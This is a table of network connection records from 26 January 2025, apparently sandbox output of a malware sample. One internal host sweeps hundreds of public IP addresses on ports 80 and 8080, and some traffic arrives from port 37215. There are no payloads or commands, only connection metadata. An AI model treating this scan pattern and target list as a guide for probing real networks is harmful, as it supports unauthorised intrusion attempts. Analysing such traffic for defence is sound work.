Jan 26, 2025 01:43:31.971899033 CET	56380	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.972321987 CET	56506	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.972400904 CET	80	46308	95.49.157.87	192.168.2.13
Jan 26, 2025 01:43:31.972723961 CET	45522	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:31.972723961 CET	45522	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:31.973023891 CET	45644	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:31.973417997 CET	60200	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:31.973417997 CET	60200	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:31.973707914 CET	60318	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:31.978077888 CET	80	56380	95.111.127.45	192.168.2.13
Jan 26, 2025 01:43:31.978574991 CET	80	56506	95.111.127.45	192.168.2.13
Jan 26, 2025 01:43:31.978627920 CET	56506	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.978661060 CET	56506	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.979015112 CET	80	45522	95.19.56.47	192.168.2.13
Jan 26, 2025 01:43:31.979621887 CET	80	60200	95.171.206.124	192.168.2.13
Jan 26, 2025 01:43:31.985107899 CET	80	56506	95.111.127.45	192.168.2.13
Jan 26, 2025 01:43:31.985162973 CET	56506	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:31.992435932 CET	37215	60210	197.178.34.229	192.168.2.13
Jan 26, 2025 01:43:31.992451906 CET	37215	60310	197.255.48.66	192.168.2.13
Jan 26, 2025 01:43:31.997344971 CET	56448	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:31.997349024 CET	38810	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:31.997351885 CET	44996	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:31.997359991 CET	52330	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:31.997360945 CET	37258	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:31.997364044 CET	51800	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:31.997371912 CET	42632	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:31.997379065 CET	37726	80	192.168.2.13	95.80.141.230
Jan 26, 2025 01:43:31.997379065 CET	59270	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:31.997381926 CET	33460	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:31.997383118 CET	38560	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:31.997385979 CET	42602	80	192.168.2.13	95.14.30.220
Jan 26, 2025 01:43:31.997385979 CET	49696	80	192.168.2.13	95.90.79.245
Jan 26, 2025 01:43:31.997389078 CET	45636	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:31.997390985 CET	33980	80	192.168.2.13	95.54.85.104
Jan 26, 2025 01:43:32.003876925 CET	80	56448	95.78.170.9	192.168.2.13
Jan 26, 2025 01:43:32.003895044 CET	80	38810	95.13.112.234	192.168.2.13
Jan 26, 2025 01:43:32.003972054 CET	56448	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.004081011 CET	56448	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.004081011 CET	56448	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.004153967 CET	38810	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:32.004519939 CET	56532	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.004936934 CET	38810	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:32.004936934 CET	38810	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:32.005249023 CET	38898	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:32.010387897 CET	80	56448	95.78.170.9	192.168.2.13
Jan 26, 2025 01:43:32.010732889 CET	80	56532	95.78.170.9	192.168.2.13
Jan 26, 2025 01:43:32.010808945 CET	56532	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.010838032 CET	56532	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.011152983 CET	80	38810	95.13.112.234	192.168.2.13
Jan 26, 2025 01:43:32.017251968 CET	80	56532	95.78.170.9	192.168.2.13
Jan 26, 2025 01:43:32.017334938 CET	56532	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:32.024456978 CET	80	60200	95.171.206.124	192.168.2.13
Jan 26, 2025 01:43:32.024473906 CET	80	45522	95.19.56.47	192.168.2.13
Jan 26, 2025 01:43:32.024487019 CET	80	56380	95.111.127.45	192.168.2.13
Jan 26, 2025 01:43:32.029424906 CET	36600	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:32.034193039 CET	8080	36600	94.45.209.46	192.168.2.13
Jan 26, 2025 01:43:32.034271002 CET	36600	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:32.034441948 CET	36600	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:32.034490108 CET	47566	8080	192.168.2.13	62.99.231.162
Jan 26, 2025 01:43:32.034502983 CET	47566	8080	192.168.2.13	95.249.77.69
Jan 26, 2025 01:43:32.034503937 CET	47566	8080	192.168.2.13	94.42.242.172
Jan 26, 2025 01:43:32.034506083 CET	47566	8080	192.168.2.13	94.72.156.255
Jan 26, 2025 01:43:32.034532070 CET	47566	8080	192.168.2.13	94.91.144.250
Jan 26, 2025 01:43:32.034532070 CET	47566	8080	192.168.2.13	31.29.250.198
Jan 26, 2025 01:43:32.034533024 CET	47566	8080	192.168.2.13	62.217.34.5
Jan 26, 2025 01:43:32.034534931 CET	47566	8080	192.168.2.13	62.132.120.186
Jan 26, 2025 01:43:32.034550905 CET	47566	8080	192.168.2.13	85.53.176.248
Jan 26, 2025 01:43:32.034552097 CET	47566	8080	192.168.2.13	95.171.105.160
Jan 26, 2025 01:43:32.034554005 CET	47566	8080	192.168.2.13	94.149.215.77
Jan 26, 2025 01:43:32.034554005 CET	47566	8080	192.168.2.13	95.62.253.91
Jan 26, 2025 01:43:32.034564018 CET	47566	8080	192.168.2.13	85.242.95.175
Jan 26, 2025 01:43:32.034569025 CET	47566	8080	192.168.2.13	31.210.32.67
Jan 26, 2025 01:43:32.034575939 CET	47566	8080	192.168.2.13	95.80.74.190
Jan 26, 2025 01:43:32.034589052 CET	47566	8080	192.168.2.13	95.188.164.19
Jan 26, 2025 01:43:32.034589052 CET	47566	8080	192.168.2.13	94.173.202.179
Jan 26, 2025 01:43:32.034589052 CET	47566	8080	192.168.2.13	62.176.206.238
Jan 26, 2025 01:43:32.034594059 CET	47566	8080	192.168.2.13	85.221.221.177
Jan 26, 2025 01:43:32.034600019 CET	47566	8080	192.168.2.13	94.154.97.179
Jan 26, 2025 01:43:32.034601927 CET	47566	8080	192.168.2.13	31.28.113.35
Jan 26, 2025 01:43:32.034612894 CET	47566	8080	192.168.2.13	31.75.117.41
Jan 26, 2025 01:43:32.034626961 CET	47566	8080	192.168.2.13	94.140.224.64
Jan 26, 2025 01:43:32.034626961 CET	47566	8080	192.168.2.13	94.79.221.76
Jan 26, 2025 01:43:32.034631014 CET	47566	8080	192.168.2.13	94.248.18.68
Jan 26, 2025 01:43:32.034631968 CET	47566	8080	192.168.2.13	85.165.23.132
Jan 26, 2025 01:43:32.034631968 CET	47566	8080	192.168.2.13	95.233.109.148
Jan 26, 2025 01:43:32.034638882 CET	47566	8080	192.168.2.13	94.197.199.200
Jan 26, 2025 01:43:32.034651041 CET	47566	8080	192.168.2.13	62.121.83.176
Jan 26, 2025 01:43:32.034651041 CET	47566	8080	192.168.2.13	62.242.32.111
Jan 26, 2025 01:43:32.034651041 CET	47566	8080	192.168.2.13	85.196.247.20
Jan 26, 2025 01:43:32.034656048 CET	47566	8080	192.168.2.13	85.145.188.160
Jan 26, 2025 01:43:32.034657001 CET	47566	8080	192.168.2.13	94.168.242.46
Jan 26, 2025 01:43:32.034657955 CET	47566	8080	192.168.2.13	95.196.244.19
Jan 26, 2025 01:43:32.034667015 CET	47566	8080	192.168.2.13	62.101.15.214
Jan 26, 2025 01:43:32.034670115 CET	47566	8080	192.168.2.13	85.29.16.168
Jan 26, 2025 01:43:32.034670115 CET	47566	8080	192.168.2.13	85.154.178.172
Jan 26, 2025 01:43:32.034676075 CET	47566	8080	192.168.2.13	31.108.204.111
Jan 26, 2025 01:43:32.034687996 CET	47566	8080	192.168.2.13	85.250.3.18
Jan 26, 2025 01:43:32.034689903 CET	47566	8080	192.168.2.13	85.39.174.236
Jan 26, 2025 01:43:32.034691095 CET	47566	8080	192.168.2.13	62.177.101.209
Jan 26, 2025 01:43:32.034691095 CET	47566	8080	192.168.2.13	31.157.89.226
Jan 26, 2025 01:43:32.034698009 CET	47566	8080	192.168.2.13	95.122.52.236
Jan 26, 2025 01:43:32.034703016 CET	47566	8080	192.168.2.13	95.141.207.103
Jan 26, 2025 01:43:32.034710884 CET	47566	8080	192.168.2.13	31.188.236.163
Jan 26, 2025 01:43:32.034715891 CET	47566	8080	192.168.2.13	94.75.223.51
Jan 26, 2025 01:43:32.034715891 CET	47566	8080	192.168.2.13	31.198.36.148
Jan 26, 2025 01:43:32.034722090 CET	47566	8080	192.168.2.13	85.193.23.181
Jan 26, 2025 01:43:32.034729004 CET	47566	8080	192.168.2.13	62.33.72.178
Jan 26, 2025 01:43:32.034729004 CET	47566	8080	192.168.2.13	94.233.227.45
Jan 26, 2025 01:43:32.034740925 CET	47566	8080	192.168.2.13	62.187.99.79
Jan 26, 2025 01:43:32.034740925 CET	47566	8080	192.168.2.13	85.92.199.158
Jan 26, 2025 01:43:32.034743071 CET	47566	8080	192.168.2.13	62.237.34.244
Jan 26, 2025 01:43:32.034748077 CET	47566	8080	192.168.2.13	62.145.193.137
Jan 26, 2025 01:43:32.034748077 CET	47566	8080	192.168.2.13	85.54.168.46
Jan 26, 2025 01:43:32.034748077 CET	47566	8080	192.168.2.13	95.2.31.178
Jan 26, 2025 01:43:32.034748077 CET	47566	8080	192.168.2.13	85.208.29.115
Jan 26, 2025 01:43:32.034758091 CET	47566	8080	192.168.2.13	94.55.26.172
Jan 26, 2025 01:43:32.034763098 CET	47566	8080	192.168.2.13	95.118.150.248
Jan 26, 2025 01:43:32.034766912 CET	47566	8080	192.168.2.13	94.119.184.10
Jan 26, 2025 01:43:32.034768105 CET	47566	8080	192.168.2.13	95.109.31.154
Jan 26, 2025 01:43:32.034770966 CET	47566	8080	192.168.2.13	31.56.104.184
Jan 26, 2025 01:43:32.034785032 CET	47566	8080	192.168.2.13	94.29.48.36
Jan 26, 2025 01:43:32.034785986 CET	47566	8080	192.168.2.13	95.234.211.69
Jan 26, 2025 01:43:32.034787893 CET	47566	8080	192.168.2.13	31.187.108.191
Jan 26, 2025 01:43:32.034796000 CET	47566	8080	192.168.2.13	95.55.140.191
Jan 26, 2025 01:43:32.034800053 CET	47566	8080	192.168.2.13	95.232.105.40
Jan 26, 2025 01:43:32.034805059 CET	47566	8080	192.168.2.13	94.47.244.192
Jan 26, 2025 01:43:32.034806013 CET	47566	8080	192.168.2.13	94.36.191.120
Jan 26, 2025 01:43:32.034807920 CET	47566	8080	192.168.2.13	31.5.218.244
Jan 26, 2025 01:43:32.034811020 CET	47566	8080	192.168.2.13	95.47.246.109
Jan 26, 2025 01:43:32.034817934 CET	47566	8080	192.168.2.13	94.248.35.218
Jan 26, 2025 01:43:32.034823895 CET	47566	8080	192.168.2.13	31.122.75.36
Jan 26, 2025 01:43:32.034825087 CET	47566	8080	192.168.2.13	31.37.109.129
Jan 26, 2025 01:43:32.034825087 CET	47566	8080	192.168.2.13	31.149.46.8
Jan 26, 2025 01:43:32.034842968 CET	47566	8080	192.168.2.13	85.83.111.170
Jan 26, 2025 01:43:32.034847021 CET	47566	8080	192.168.2.13	94.37.235.250
Jan 26, 2025 01:43:32.034847975 CET	47566	8080	192.168.2.13	31.169.185.129
Jan 26, 2025 01:43:32.034847975 CET	47566	8080	192.168.2.13	31.34.227.45
Jan 26, 2025 01:43:32.034856081 CET	47566	8080	192.168.2.13	95.211.74.139
Jan 26, 2025 01:43:32.034856081 CET	47566	8080	192.168.2.13	62.167.153.194
Jan 26, 2025 01:43:32.034858942 CET	47566	8080	192.168.2.13	85.73.195.85
Jan 26, 2025 01:43:32.034859896 CET	47566	8080	192.168.2.13	62.30.5.3
Jan 26, 2025 01:43:32.034859896 CET	47566	8080	192.168.2.13	95.11.180.170
Jan 26, 2025 01:43:32.034864902 CET	47566	8080	192.168.2.13	95.65.185.254
Jan 26, 2025 01:43:32.034864902 CET	47566	8080	192.168.2.13	31.252.231.236
Jan 26, 2025 01:43:32.034873962 CET	47566	8080	192.168.2.13	85.26.128.112
Jan 26, 2025 01:43:32.034873962 CET	47566	8080	192.168.2.13	31.127.105.142
Jan 26, 2025 01:43:32.034873962 CET	47566	8080	192.168.2.13	62.86.176.169
Jan 26, 2025 01:43:32.034873962 CET	47566	8080	192.168.2.13	31.193.159.152
Jan 26, 2025 01:43:32.034881115 CET	47566	8080	192.168.2.13	95.230.118.141
Jan 26, 2025 01:43:32.034881115 CET	47566	8080	192.168.2.13	94.252.245.46
Jan 26, 2025 01:43:32.034883022 CET	47566	8080	192.168.2.13	85.90.158.187
Jan 26, 2025 01:43:32.034883022 CET	47566	8080	192.168.2.13	94.227.90.192
Jan 26, 2025 01:43:32.034883022 CET	47566	8080	192.168.2.13	85.191.232.95
Jan 26, 2025 01:43:32.034883022 CET	47566	8080	192.168.2.13	62.184.95.150
Jan 26, 2025 01:43:32.034900904 CET	47566	8080	192.168.2.13	85.200.125.235
Jan 26, 2025 01:43:32.034902096 CET	47566	8080	192.168.2.13	62.194.134.140
Jan 26, 2025 01:43:32.034902096 CET	47566	8080	192.168.2.13	62.15.83.96
Jan 26, 2025 01:43:32.034907103 CET	47566	8080	192.168.2.13	85.108.109.188
Jan 26, 2025 01:43:32.034908056 CET	47566	8080	192.168.2.13	94.3.202.123
Jan 26, 2025 01:43:32.034908056 CET	47566	8080	192.168.2.13	85.40.182.44
Jan 26, 2025 01:43:32.034924984 CET	47566	8080	192.168.2.13	62.136.54.147
Jan 26, 2025 01:43:32.034925938 CET	47566	8080	192.168.2.13	31.148.17.36
Jan 26, 2025 01:43:32.034924984 CET	47566	8080	192.168.2.13	95.49.201.228
Jan 26, 2025 01:43:32.034939051 CET	47566	8080	192.168.2.13	95.252.75.143
Jan 26, 2025 01:43:32.034943104 CET	47566	8080	192.168.2.13	94.161.155.188
Jan 26, 2025 01:43:32.034945011 CET	47566	8080	192.168.2.13	31.177.5.50
Jan 26, 2025 01:43:32.034954071 CET	47566	8080	192.168.2.13	94.134.34.252
Jan 26, 2025 01:43:32.034954071 CET	47566	8080	192.168.2.13	31.70.5.191
Jan 26, 2025 01:43:32.034955978 CET	47566	8080	192.168.2.13	31.176.190.108
Jan 26, 2025 01:43:32.034970045 CET	47566	8080	192.168.2.13	31.228.7.195
Jan 26, 2025 01:43:32.034972906 CET	47566	8080	192.168.2.13	62.196.19.211
Jan 26, 2025 01:43:32.034972906 CET	47566	8080	192.168.2.13	85.120.155.195
Jan 26, 2025 01:43:32.034975052 CET	47566	8080	192.168.2.13	95.131.234.205
Jan 26, 2025 01:43:32.034976006 CET	47566	8080	192.168.2.13	95.234.54.160
Jan 26, 2025 01:43:32.034986973 CET	47566	8080	192.168.2.13	95.9.209.215
Jan 26, 2025 01:43:32.034993887 CET	47566	8080	192.168.2.13	62.208.241.80
Jan 26, 2025 01:43:32.035002947 CET	47566	8080	192.168.2.13	62.92.111.241
Jan 26, 2025 01:43:32.035008907 CET	47566	8080	192.168.2.13	31.197.32.79
Jan 26, 2025 01:43:32.035008907 CET	47566	8080	192.168.2.13	62.181.141.129
Jan 26, 2025 01:43:32.035011053 CET	47566	8080	192.168.2.13	85.195.80.66
Jan 26, 2025 01:43:32.035011053 CET	47566	8080	192.168.2.13	85.13.113.100
Jan 26, 2025 01:43:32.035012960 CET	47566	8080	192.168.2.13	31.103.115.245
Jan 26, 2025 01:43:32.035028934 CET	47566	8080	192.168.2.13	95.55.18.152
Jan 26, 2025 01:43:32.035032988 CET	47566	8080	192.168.2.13	62.36.180.248
Jan 26, 2025 01:43:32.035032988 CET	47566	8080	192.168.2.13	94.91.175.67
Jan 26, 2025 01:43:32.035033941 CET	47566	8080	192.168.2.13	62.230.236.201
Jan 26, 2025 01:43:32.035038948 CET	47566	8080	192.168.2.13	95.23.241.190
Jan 26, 2025 01:43:32.035043001 CET	47566	8080	192.168.2.13	85.26.189.179
Jan 26, 2025 01:43:32.035048962 CET	47566	8080	192.168.2.13	31.233.242.244
Jan 26, 2025 01:43:32.035051107 CET	47566	8080	192.168.2.13	94.192.37.7
Jan 26, 2025 01:43:32.035053015 CET	47566	8080	192.168.2.13	85.235.5.64
Jan 26, 2025 01:43:32.035057068 CET	47566	8080	192.168.2.13	94.2.226.66
Jan 26, 2025 01:43:32.035057068 CET	47566	8080	192.168.2.13	85.26.142.197
Jan 26, 2025 01:43:32.035068035 CET	47566	8080	192.168.2.13	85.196.8.144
Jan 26, 2025 01:43:32.035068989 CET	47566	8080	192.168.2.13	85.60.34.82
Jan 26, 2025 01:43:32.035074949 CET	47566	8080	192.168.2.13	85.209.190.18
Jan 26, 2025 01:43:32.035079002 CET	47566	8080	192.168.2.13	62.176.202.72
Jan 26, 2025 01:43:32.035079002 CET	47566	8080	192.168.2.13	85.188.82.56
Jan 26, 2025 01:43:32.035092115 CET	47566	8080	192.168.2.13	95.128.61.176
Jan 26, 2025 01:43:32.035099983 CET	47566	8080	192.168.2.13	62.204.107.70
Jan 26, 2025 01:43:32.035100937 CET	47566	8080	192.168.2.13	85.226.96.43
Jan 26, 2025 01:43:32.035106897 CET	47566	8080	192.168.2.13	94.186.84.121
Jan 26, 2025 01:43:32.035106897 CET	47566	8080	192.168.2.13	31.201.227.185
Jan 26, 2025 01:43:32.035110950 CET	47566	8080	192.168.2.13	31.78.169.20
Jan 26, 2025 01:43:32.035115957 CET	47566	8080	192.168.2.13	31.162.82.24
Jan 26, 2025 01:43:32.035121918 CET	47566	8080	192.168.2.13	62.86.165.212
Jan 26, 2025 01:43:32.035123110 CET	47566	8080	192.168.2.13	94.28.221.233
Jan 26, 2025 01:43:32.035125971 CET	47566	8080	192.168.2.13	62.226.176.49
Jan 26, 2025 01:43:32.035130978 CET	47566	8080	192.168.2.13	85.204.24.82
Jan 26, 2025 01:43:32.035139084 CET	47566	8080	192.168.2.13	62.102.2.210
Jan 26, 2025 01:43:32.035147905 CET	47566	8080	192.168.2.13	94.2.139.249
Jan 26, 2025 01:43:32.035147905 CET	47566	8080	192.168.2.13	94.214.5.0
Jan 26, 2025 01:43:32.035147905 CET	47566	8080	192.168.2.13	95.229.228.4
Jan 26, 2025 01:43:32.035147905 CET	47566	8080	192.168.2.13	31.234.5.188
Jan 26, 2025 01:43:32.035161972 CET	47566	8080	192.168.2.13	31.97.98.67
Jan 26, 2025 01:43:32.035164118 CET	47566	8080	192.168.2.13	95.90.34.82
Jan 26, 2025 01:43:32.035172939 CET	47566	8080	192.168.2.13	31.156.186.226
Jan 26, 2025 01:43:32.035183907 CET	47566	8080	192.168.2.13	31.255.27.16
Jan 26, 2025 01:43:32.035183907 CET	47566	8080	192.168.2.13	85.39.111.231
Jan 26, 2025 01:43:32.035187960 CET	47566	8080	192.168.2.13	95.176.71.20
Jan 26, 2025 01:43:32.035187960 CET	47566	8080	192.168.2.13	94.207.217.81
Jan 26, 2025 01:43:32.035198927 CET	47566	8080	192.168.2.13	62.97.221.197
Jan 26, 2025 01:43:32.035201073 CET	47566	8080	192.168.2.13	31.42.193.133
Jan 26, 2025 01:43:32.035201073 CET	47566	8080	192.168.2.13	95.234.51.97
Jan 26, 2025 01:43:32.035201073 CET	47566	8080	192.168.2.13	95.134.195.52
Jan 26, 2025 01:43:32.035204887 CET	47566	8080	192.168.2.13	62.132.117.133
Jan 26, 2025 01:43:32.035213947 CET	47566	8080	192.168.2.13	95.112.54.204
Jan 26, 2025 01:43:32.035214901 CET	47566	8080	192.168.2.13	31.183.33.30
Jan 26, 2025 01:43:32.035216093 CET	47566	8080	192.168.2.13	31.192.191.64
Jan 26, 2025 01:43:32.035218954 CET	47566	8080	192.168.2.13	85.100.197.1
Jan 26, 2025 01:43:32.035218954 CET	47566	8080	192.168.2.13	31.181.69.109
Jan 26, 2025 01:43:32.035226107 CET	47566	8080	192.168.2.13	62.52.23.212
Jan 26, 2025 01:43:32.035238981 CET	47566	8080	192.168.2.13	85.174.168.108
Jan 26, 2025 01:43:32.035247087 CET	47566	8080	192.168.2.13	31.50.254.116
Jan 26, 2025 01:43:32.035258055 CET	47566	8080	192.168.2.13	94.144.218.84
Jan 26, 2025 01:43:32.035259008 CET	47566	8080	192.168.2.13	94.142.171.11
Jan 26, 2025 01:43:32.035259962 CET	47566	8080	192.168.2.13	85.158.203.214
Jan 26, 2025 01:43:32.035259962 CET	47566	8080	192.168.2.13	31.125.148.184
Jan 26, 2025 01:43:32.035264015 CET	47566	8080	192.168.2.13	62.184.49.130
Jan 26, 2025 01:43:32.035273075 CET	47566	8080	192.168.2.13	62.51.191.204
Jan 26, 2025 01:43:32.035281897 CET	47566	8080	192.168.2.13	95.252.181.245
Jan 26, 2025 01:43:32.035281897 CET	47566	8080	192.168.2.13	31.41.54.45
Jan 26, 2025 01:43:32.035290003 CET	47566	8080	192.168.2.13	95.68.233.194
Jan 26, 2025 01:43:32.035300016 CET	47566	8080	192.168.2.13	31.173.84.155
Jan 26, 2025 01:43:32.035305023 CET	47566	8080	192.168.2.13	85.140.3.50
Jan 26, 2025 01:43:32.035307884 CET	47566	8080	192.168.2.13	95.109.96.148
Jan 26, 2025 01:43:32.035309076 CET	47566	8080	192.168.2.13	94.39.42.30
Jan 26, 2025 01:43:32.035309076 CET	47566	8080	192.168.2.13	94.20.105.214
Jan 26, 2025 01:43:32.035320044 CET	47566	8080	192.168.2.13	95.8.47.64
Jan 26, 2025 01:43:32.035322905 CET	47566	8080	192.168.2.13	62.37.26.5
Jan 26, 2025 01:43:32.035330057 CET	47566	8080	192.168.2.13	85.114.103.25
Jan 26, 2025 01:43:32.035330057 CET	47566	8080	192.168.2.13	62.241.24.160
Jan 26, 2025 01:43:32.035330057 CET	47566	8080	192.168.2.13	31.68.252.40
Jan 26, 2025 01:43:32.035330057 CET	47566	8080	192.168.2.13	94.124.165.15
Jan 26, 2025 01:43:32.035332918 CET	47566	8080	192.168.2.13	31.12.164.37
Jan 26, 2025 01:43:32.035345078 CET	47566	8080	192.168.2.13	94.96.240.144
Jan 26, 2025 01:43:32.035350084 CET	47566	8080	192.168.2.13	62.50.227.152
Jan 26, 2025 01:43:32.035351038 CET	47566	8080	192.168.2.13	62.166.239.121
Jan 26, 2025 01:43:32.035351992 CET	47566	8080	192.168.2.13	94.51.119.154
Jan 26, 2025 01:43:32.035353899 CET	47566	8080	192.168.2.13	95.53.191.73
Jan 26, 2025 01:43:32.035353899 CET	47566	8080	192.168.2.13	94.146.37.123
Jan 26, 2025 01:43:32.035358906 CET	47566	8080	192.168.2.13	85.181.16.172
Jan 26, 2025 01:43:32.035371065 CET	47566	8080	192.168.2.13	95.201.112.59
Jan 26, 2025 01:43:32.035371065 CET	47566	8080	192.168.2.13	85.82.167.97
Jan 26, 2025 01:43:32.035373926 CET	47566	8080	192.168.2.13	62.77.67.24
Jan 26, 2025 01:43:32.035377026 CET	47566	8080	192.168.2.13	62.57.107.188
Jan 26, 2025 01:43:32.035377026 CET	47566	8080	192.168.2.13	94.199.192.135
Jan 26, 2025 01:43:32.035379887 CET	47566	8080	192.168.2.13	62.160.11.40
Jan 26, 2025 01:43:32.035379887 CET	47566	8080	192.168.2.13	95.39.131.98
Jan 26, 2025 01:43:32.035383940 CET	47566	8080	192.168.2.13	85.141.42.9
Jan 26, 2025 01:43:32.035393000 CET	47566	8080	192.168.2.13	31.54.184.248
Jan 26, 2025 01:43:32.035393000 CET	47566	8080	192.168.2.13	95.146.32.237
Jan 26, 2025 01:43:32.035393953 CET	47566	8080	192.168.2.13	85.47.251.241
Jan 26, 2025 01:43:32.035399914 CET	47566	8080	192.168.2.13	62.95.109.168
Jan 26, 2025 01:43:32.035399914 CET	47566	8080	192.168.2.13	31.57.85.58
Jan 26, 2025 01:43:32.035417080 CET	47566	8080	192.168.2.13	62.54.90.241
Jan 26, 2025 01:43:32.035420895 CET	47566	8080	192.168.2.13	62.83.84.2
Jan 26, 2025 01:43:32.035423994 CET	47566	8080	192.168.2.13	31.33.100.196
Jan 26, 2025 01:43:32.035423994 CET	47566	8080	192.168.2.13	62.40.111.39
Jan 26, 2025 01:43:32.035427094 CET	47566	8080	192.168.2.13	94.147.142.81
Jan 26, 2025 01:43:32.035427094 CET	47566	8080	192.168.2.13	94.49.166.219
Jan 26, 2025 01:43:32.035430908 CET	47566	8080	192.168.2.13	94.9.217.9
Jan 26, 2025 01:43:32.035430908 CET	47566	8080	192.168.2.13	85.129.20.197
Jan 26, 2025 01:43:32.035445929 CET	47566	8080	192.168.2.13	85.150.243.178
Jan 26, 2025 01:43:32.035449982 CET	47566	8080	192.168.2.13	95.24.83.133
Jan 26, 2025 01:43:32.035450935 CET	47566	8080	192.168.2.13	62.180.41.195
Jan 26, 2025 01:43:32.035455942 CET	47566	8080	192.168.2.13	31.125.35.171
Jan 26, 2025 01:43:32.035456896 CET	47566	8080	192.168.2.13	31.54.202.240
Jan 26, 2025 01:43:32.035459995 CET	47566	8080	192.168.2.13	62.66.225.4
Jan 26, 2025 01:43:32.035464048 CET	47566	8080	192.168.2.13	95.41.156.169
Jan 26, 2025 01:43:32.035470009 CET	47566	8080	192.168.2.13	95.227.180.108
Jan 26, 2025 01:43:32.035480022 CET	47566	8080	192.168.2.13	94.253.3.199
Jan 26, 2025 01:43:32.035484076 CET	47566	8080	192.168.2.13	31.154.149.111
Jan 26, 2025 01:43:32.035484076 CET	47566	8080	192.168.2.13	85.47.80.43
Jan 26, 2025 01:43:32.035485029 CET	47566	8080	192.168.2.13	95.221.203.221
Jan 26, 2025 01:43:32.035485029 CET	47566	8080	192.168.2.13	94.34.205.215
Jan 26, 2025 01:43:32.035485029 CET	47566	8080	192.168.2.13	95.60.91.134
Jan 26, 2025 01:43:32.035499096 CET	47566	8080	192.168.2.13	94.30.232.119
Jan 26, 2025 01:43:32.035499096 CET	47566	8080	192.168.2.13	31.41.252.31
Jan 26, 2025 01:43:32.035500050 CET	47566	8080	192.168.2.13	31.31.174.53
Jan 26, 2025 01:43:32.035506010 CET	47566	8080	192.168.2.13	62.18.120.169
Jan 26, 2025 01:43:32.035506010 CET	47566	8080	192.168.2.13	85.58.122.26
Jan 26, 2025 01:43:32.035512924 CET	47566	8080	192.168.2.13	94.222.65.124
Jan 26, 2025 01:43:32.035516024 CET	47566	8080	192.168.2.13	95.177.107.129
Jan 26, 2025 01:43:32.035516024 CET	47566	8080	192.168.2.13	94.9.194.66
Jan 26, 2025 01:43:32.035518885 CET	47566	8080	192.168.2.13	95.139.191.3
Jan 26, 2025 01:43:32.035537004 CET	47566	8080	192.168.2.13	85.245.19.204
Jan 26, 2025 01:43:32.035537004 CET	47566	8080	192.168.2.13	62.174.242.198
Jan 26, 2025 01:43:32.035537004 CET	47566	8080	192.168.2.13	95.124.132.94
Jan 26, 2025 01:43:32.035542011 CET	47566	8080	192.168.2.13	85.29.114.58
Jan 26, 2025 01:43:32.035542011 CET	47566	8080	192.168.2.13	62.255.182.83
Jan 26, 2025 01:43:32.035558939 CET	47566	8080	192.168.2.13	62.142.104.44
Jan 26, 2025 01:43:32.035558939 CET	47566	8080	192.168.2.13	62.194.129.104
Jan 26, 2025 01:43:32.035558939 CET	47566	8080	192.168.2.13	94.77.210.242
Jan 26, 2025 01:43:32.035559893 CET	47566	8080	192.168.2.13	85.92.104.55
Jan 26, 2025 01:43:32.035558939 CET	47566	8080	192.168.2.13	31.104.50.6
Jan 26, 2025 01:43:32.035559893 CET	47566	8080	192.168.2.13	94.212.19.253
Jan 26, 2025 01:43:32.035561085 CET	47566	8080	192.168.2.13	31.155.82.48
Jan 26, 2025 01:43:32.035578966 CET	47566	8080	192.168.2.13	62.56.19.101
Jan 26, 2025 01:43:32.035581112 CET	47566	8080	192.168.2.13	94.182.174.207
Jan 26, 2025 01:43:32.035581112 CET	47566	8080	192.168.2.13	62.208.113.142
Jan 26, 2025 01:43:32.035583019 CET	47566	8080	192.168.2.13	95.28.228.113
Jan 26, 2025 01:43:32.035588980 CET	47566	8080	192.168.2.13	85.196.105.124
Jan 26, 2025 01:43:32.035588980 CET	47566	8080	192.168.2.13	31.198.227.233
Jan 26, 2025 01:43:32.035593987 CET	47566	8080	192.168.2.13	94.86.233.3
Jan 26, 2025 01:43:32.035608053 CET	47566	8080	192.168.2.13	62.123.195.242
Jan 26, 2025 01:43:32.035613060 CET	47566	8080	192.168.2.13	94.65.178.238
Jan 26, 2025 01:43:32.035613060 CET	47566	8080	192.168.2.13	95.240.228.88
Jan 26, 2025 01:43:32.035615921 CET	47566	8080	192.168.2.13	85.198.149.99
Jan 26, 2025 01:43:32.035628080 CET	47566	8080	192.168.2.13	31.17.134.63
Jan 26, 2025 01:43:32.035629988 CET	47566	8080	192.168.2.13	85.231.5.97
Jan 26, 2025 01:43:32.035630941 CET	47566	8080	192.168.2.13	85.8.142.20
Jan 26, 2025 01:43:32.035634041 CET	47566	8080	192.168.2.13	62.25.30.6
Jan 26, 2025 01:43:32.035641909 CET	47566	8080	192.168.2.13	94.35.227.130
